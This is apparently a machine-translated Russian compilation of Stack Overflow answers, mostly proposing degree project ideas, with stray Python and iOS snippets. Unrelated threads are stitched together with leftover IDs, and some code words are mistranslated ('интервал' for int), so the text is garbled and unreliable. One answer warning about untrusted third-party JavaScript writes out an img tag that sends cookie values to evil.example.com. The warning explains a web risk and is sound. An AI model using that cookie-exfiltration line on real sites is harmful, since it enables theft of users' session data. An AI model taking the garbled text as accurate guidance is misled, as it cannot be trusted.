str () в Python на целом числе будет не печать любые десятичные разряды.
, Если у Вас есть плавание, что Вы хотите проигнорировать десятичную часть, тогда можно использовать str (интервал (floatValue)).
, Возможно, следующий код продемонстрирует:
>>> str(5)
'5'
>>> int(8.7)
8
почему бы не разработать и не реализовать алгоритм искусственного интеллекта для ROBOCODE (поиск в Google). Вы можете использовать нейронные сети, кластеризацию, оптимизацию роя частиц ... или другие более продвинутые алгоритмы. большинство из них действительно просты и эффективны, только название звучит так, как будто оно взято из звездного пути.
Другое предложение, которое сейчас модно, было бы использовать гибридные приложения: взять несколько веб-сервисов и объединить их, сделав что-нибудь красивое. например http://globelogger.com/2008/05/timetube-awesom.html , это то, о чем я говорю
+1 от меня. Я думаю, это отличный вопрос.
У меня нет для вас конкретного ответа, но почему бы не направить ваше внимание на поиск чего-то, что может быть полезно для благотворительных организаций или развивающихся стран?
Благотворительные организации становятся все более зависимыми от технологий для сбора средств, управления логистика и др. Кроме того, в Африке мобильные телефоны часто используются для предоставления простых финансовых продуктов, которые позволяют людям, не имеющим доступа к более традиционным финансовым услугам, покупать и продавать вещи.
Если у вас есть время и желание, делайте то, что действительно приносит пользу. мир, а также получение высокой степени было бы очень приятно ...
Дэниел.
Вы, вероятно, захотите сделать что-то, что уже было сделано раньше, чтобы вы могли иметь некоторое представление о масштабах. Вам не нужно делать что-то, что будет повторно использоваться / с открытым исходным кодом, поскольку это всего лишь финальный проект.
Помогите вам перенести Silverlight 3 на Mono? Я уверен, что вы могли бы найти конкретную функцию для реализации в качестве отдельного проекта. Это было бы очень полезным вкладом в сообщество открытого исходного кода и потребовало бы глубокого изучения того, как спроектирован фреймворк silverlight.
Получите спецификацию для какого-нибудь исторического языка (например, Algol60, Atlas Autocode, Coral 66) и реализовать для него полный компилятор с помощью транслятора на C; в частности, не стесняйтесь использовать некоторые из расширений GCC, которые значительно упрощают перевод этих блочно-структурированных языков с вложенными процедурами, объявлениями динамических массивов и т. д.
Присоединитесь к какому-нибудь проекту с открытым исходным кодом. Например, Qooxdoo ( http://qooxdoo.org ) имеет действительно хорошее сообщество и нуждается в опытных программистах. Это хороший фреймворк для веб-приложений. Или вы можете внести свой вклад в какой-нибудь действительно большой проект, такой как Ruby on Rails.
Если вам нравится низкоуровневый (например, аппаратное обеспечение), вы можете поработать над Gnu Compilers Collection.
Если вы действительно хороши в алгоритмах, вы можете разработать решения многих проблем параллельного программирования, которые существуют в настоящее время.
Это отличный вопрос, и если вы скажете мне, какой вид программирования вы предпочитаете, я с радостью уточню его.
Какого черта, я живу в Мадриде , чтобы мы могли встретиться в каком-нибудь баре и обсудить это.
/ Глеб
А как насчет распределенного мобильного решения с открытым исходным кодом? Теперь, когда мобильные устройства приобрели некоторую вычислительную мощность, было бы неплохо, если бы вы связали эту мощность с идеей распределенной системы, подобной SETI Байрона. Его также можно использовать в практических целях, например, для сбора данных GPS в массивной сетке, чтобы определять и избегать людных дорог и перекрестков.
Почему бы не заглянуть на веб-сайт Google Summer of Code , чтобы узнать о предыдущих проектах, которые еще не реализовывались. На их завершение уйдет пара месяцев, они относятся к проектам с открытым исходным кодом, и это то, что кто-то решил, что будет полезно.
Как насчет 3D-моделирования города?
3D-модели города Harris Corporation, представленные на картах интерактивного поиска в Интернете
Запустите вики-сайт сообщества только для табличных данных: список стран (название, валюта ...), список продуктов (название, витамины, калории ...), статистика инфляции по стране в год, ... что бы ни создавали пользователи. Разрешить пользователям создавать запросы и загружать результат в том формате, который им нравится (csv, excel, xml, ...). После этого создайте веб-сервис, чтобы позволить проектам с открытым исходным кодом использовать данные в своих продуктах.
Я бы посоветовал найти местную благотворительную организацию, которая нуждается в помощи в отслеживании их финансов / доноров / т. Д. Работайте с ними, чтобы определить их потребности и разработать приложение, которое поможет им решить их проблему. Я вижу в этом два преимущества. Во-первых, вы получаете опыт работы с реальными клиентами и их потребностями. Во-вторых, если вам это удастся, вы помогли некоторым людям, у которых, вероятно, нет ресурсов, чтобы сделать то, что им нужно, другим способом.
Есть несколько конкурсов кодирования / форумов / сайтов с идеями, в которых вы можете принять участие:
Выполните рефакторинг графического интерфейса Python Tkinter, чтобы удалить его зависимость от TCL. Это потребует создания последней версии TK, части проекта TCL , а затем замены внутреннего использования сценариев TCL сценариями Python. Проект будет написан на C.
Конечным результатом будет GUI-модуль Python TK, работающий в Windows, Macintosh и UNIX. Все, что связано с переносимостью, уже есть в модуле TKinter, так что работа там не будет. Вместо этого это будет похоже на операцию на головном мозге, выявление всех связей между TK и TCL, чтобы вы могли либо провести рефакторинг в более простой интерфейс для Python, либо выполнить замену TCL один на один на Python.
Это потребует изучения TCL и Python, а также, вероятно, написали некоторые инструменты, которые помогут вам перечислить взаимосвязи между TCL и TK. В конце проекта вы также получите много информации о кроссплатформенных графических интерфейсах, даже если у вас будет только одна из платформ, работающая как часть вашей степени.
Конечная цель этого - сделать этот графический интерфейс графический интерфейс Python по умолчанию, а интерфейс разработчика к графическому интерфейсу должен стать интерфейсом по умолчанию для других интерфейсов графического интерфейса. Например, разработчик Jython не может использовать этот графический интерфейс, но если вы сделаете интерфейс чистым и несистемным, тогда кто-то сможет написать PythonTK на Java, который использует SWING, а другая группа может написать PythonTK на C #, который использует Windows Forms.
Хотя основная часть работы заключается в рефакторинге разветвленного кода TK, вам необходимо тщательно продумать и изучить объектную модель, представленную программисту Python, чтобы минимизировать или исключить любые системные области.
Я бы рекомендовал присоединиться к существующему проекту с открытым исходным кодом. Создание собственного может быть забавным, но вряд ли принесет пользу сообществу разработчиков ПО с открытым исходным кодом. Люди вряд ли присоединятся к проекту, который вы начнете для школы, потому что вы, скорее всего, откажетесь от него после окончания учебы. Помощь в существующем проекте позволит вам добиться результатов в долгосрочной перспективе без долгосрочных обязательств.
Существует множество проектов с открытым исходным кодом, которые подошли бы для ваших навыков PHP: Drupal , Wordpress или любой из проектов Sunlight Labs . Лично мне нравится Sunlight Labs, потому что у них есть цель, выходящая за рамки простого создания программного обеспечения (сделать правительства более открытыми и прозрачными), а организация кажется здоровой и растущей. Независимо от того, какой проект вы выберете, вы можете »
У вас также есть возможность принять участие в сообществе разработчиков ядра Linux.
Создайте прочную основу для правильного графического редактора для Linux. Затем откройте исходный код и позвольте ему расти. Текущий выбор - GIMP, что очень плохо. Вместо того, чтобы исправлять или расширять его, разработайте новый проект с сильным ядром и возможностью расширения.
Вместо установки цели, как вы сделали здесь:
[advertButton addTarget:self action:@selector(showLinks:) forControlEvents:UIControlEventTouchUpInside];
Вы можете использовать делегат по умолчанию:
- (void)mapView:(MKMapView *)mapView annotationView:(MKAnnotationView *)view calloutAccessoryControlTapped:(UIControl *)control
-121--3057765- Он может быть главным дырой в безопасности, поэтому вы должны доверять тому сайту, на котором размещен файл JavaScript.
Например, этот код может вводить больше тэги скриптов и img- тэгов на сайт, которые могут передавать конфиденциальные данные третьей стороне.
Комментарий Дэвида о политике того же происхождения может ввести в заблуждение. Классическим способом ретрансляции данных на удаленный сайт является вставка тэга img в удаленный домен:
<img src="http://evil.example.com/sendcookieshere.whatever?cookievalue=secret_info />
Если код JavaScript на удаленном хосте был изменен для динамической вставки тэга img, такого как этот, то у вашего сайта может быть отверстие безопасности. Некоторые из этих проблем, такие как использование только файлов cookie HTTP, не доступны через JavaScript.
Пример систем аналитики - отличный. Вы должны быть уверены, что поставщик не возьмет конфиденциальные данные, такие как ваши собственные файлы cookie, и не отправит их в удаленное место. Вы также должны доверять поставщику, что их система безопасна и что хакер не может изменить файлы JavaScript на их серверах. Аналитические системы, как правило, работают с использованием этих же методов, но, надеюсь, они используют его во благо, а не во зло. В некотором смысле это не отличается от беспокойства о том, пишут ли ваши разработчики хороший, безопасный код и вводят ли они секретный бэкдор.
Что касается почему это разрешено, это просто история. Веб-сайт не был спроектирован с учетом безопасности. Будь то CSRF-атака, повторная атака или XSS-атака, все это фундаментальные недостатки в дизайне Интернета, которые теперь становятся заботой веб-разработчиков.
-121--4780349-Вы также можете присоединиться к проекту Robocode и реализовать некоторые нетривиальные функции; -) Прочитайте это и поговорите с нами .